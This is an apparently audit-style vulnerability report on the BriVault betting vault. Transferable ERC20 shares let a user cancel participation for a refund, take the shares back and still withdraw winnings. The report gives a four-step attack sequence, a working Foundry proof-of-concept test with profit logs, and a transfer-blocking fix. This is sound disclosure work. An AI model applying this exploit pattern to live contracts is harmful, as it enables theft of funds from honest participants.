Description
The vault token inherits full ERC20 transferability, but `joinEvent()`, `cancelParticipation()`, and `withdraw()` assume that a user's shares never change hands. In particular:
`joinEvent()` records the caller's shares in `userSharesToCountry[msg.sender][countryId]` and their selected country in `userToCountry[msg.sender]`.
`cancelParticipation()` refunds `stakedAsset[msg.sender]` and burns `balanceOf(msg.sender)`. If the user transferred their shares away prior to canceling, `_burn` burns 0, leaving the shares outstanding.
`withdraw()` validates winners by checking `userToCountry[msg.sender]` and uses `balanceOf(msg.sender)` for the payout, regardless of whether the stake was previously refunded.
An attacker can therefore:
1- Deposit and join a country
2- Transfer their shares to a helper EOA.
3- Call `cancelParticipation()` to recover their entire stake (only the participation fee is lost). Because their balance is 0, no shares are burned and `userSharesToCountry` is left intact.
4- Acquire the shares back from the helper before the event ends.
When the attacker withdraws, they are still treated as a valid winner (the mappings were never cleared) and now hold the shares again, so they receive a prize funded entirely by honest participants despite having already recovered their original stake. This is a free bet / prize theft vector. If the shares are never returned, the attacker can still grief by leaving orphaned shares that count towards the winner pool.
Risk
**Likelihood**:
* ERC20 shares can be freely transferred between EOAs
* No logic guards against transferring shares while a bet is active
* `cancelParticipation()` and `withdraw()` do not reconcile stake ownership with share ownership
**Impact**:
* Attacker recovers their stake (minus fee) and still withdraws winnings
* Honest winners lose funds; vault assets are drained by free riders
* Shares can be orphaned, corrupting accounting and breaking ERC4626 expectations
* Enables griefing and prize pool manipulation in any integration
Proof of Concept
The following PoC shows how a malicious user would get a prize risking just the participation fee, effectively stealing from the real winners. See the following logs:
User1 gets a prize of 2462500000000000000 assets,
risking just the participation fee of 75000000000000000 assets,
achieving a profit of 2387500000000000000 assets (stolen from user3).
User3 gets a payout of 2462500000000000000 assets,
having made a bet of 5000000000000000000 assets,
with a loss of 2537500000000000000 assets.
function testFreeBetExploit() public {
vm.prank(owner);
briVault.setCountry(countries);
uint256 user1InitialBalance = mockToken.balanceOf(user1);
uint256 depositAmount = 5 ether;
vm.startPrank(user1);
mockToken.approve(address(briVault), depositAmount);
uint256 shares = briVault.deposit(depositAmount, user1);
briVault.joinEvent(10);
vm.stopPrank();
vm.prank(user1);
briVault.transfer(user2, shares);
uint256 balanceBeforeCancel = mockToken.balanceOf(user1);
vm.prank(user1);
briVault.cancelParticipation();
uint256 balanceAfterCancel = mockToken.balanceOf(user1);
uint256 refunded = balanceAfterCancel - balanceBeforeCancel;
assertEq(refunded, shares);
vm.startPrank(user3);
mockToken.approve(address(briVault), depositAmount);
uint256 user3Shares = briVault.deposit(depositAmount, user3);
briVault.joinEvent(10);
vm.stopPrank();
vm.prank(user2);
briVault.transfer(user1, shares);
vm.warp(eventEndDate + 1);
vm.prank(owner);
briVault.setWinner(10);
vm.startPrank(user1);
uint256 balanceBeforeWin = mockToken.balanceOf(user1);
briVault.withdraw();
uint256 balanceAfterWin = mockToken.balanceOf(user1);
uint256 prize = balanceAfterWin - balanceBeforeWin;
vm.stopPrank();
console2.log("User1 gets a prize of", prize, "assets");
console2.log("risking just the participation fee of", depositAmount - refunded, "assets");
console2.log("achieving a profit of", prize - (depositAmount - refunded), "assets");
assertGt(prize, 0);
assertGt(balanceAfterWin, user1InitialBalance);
vm.startPrank(user3);
uint256 balanceBeforeUser3 = mockToken.balanceOf(user3);
briVault.withdraw();
uint256 balanceAfterUser3 = mockToken.balanceOf(user3);
vm.stopPrank();
uint256 user3Payout = balanceAfterUser3 - balanceBeforeUser3;
assertLt(user3Payout, user3Shares);
console2.log("User3 gets a payout of", user3Payout, "assets");
console2.log("having made a bet of", depositAmount, "assets");
console2.log("with a loss of", depositAmount - user3Payout, "assets");
}
Recommended Mitigation
Consider disabling transfers by overriding ERC20's `_update()` function.
+ function _update(address from, address to, uint256 value) internal override {
+ if (from != address(0) && to != address(0)) {
+ revert sharesNotTransferable();
+ }
+ super._update(from, to, value);
+ }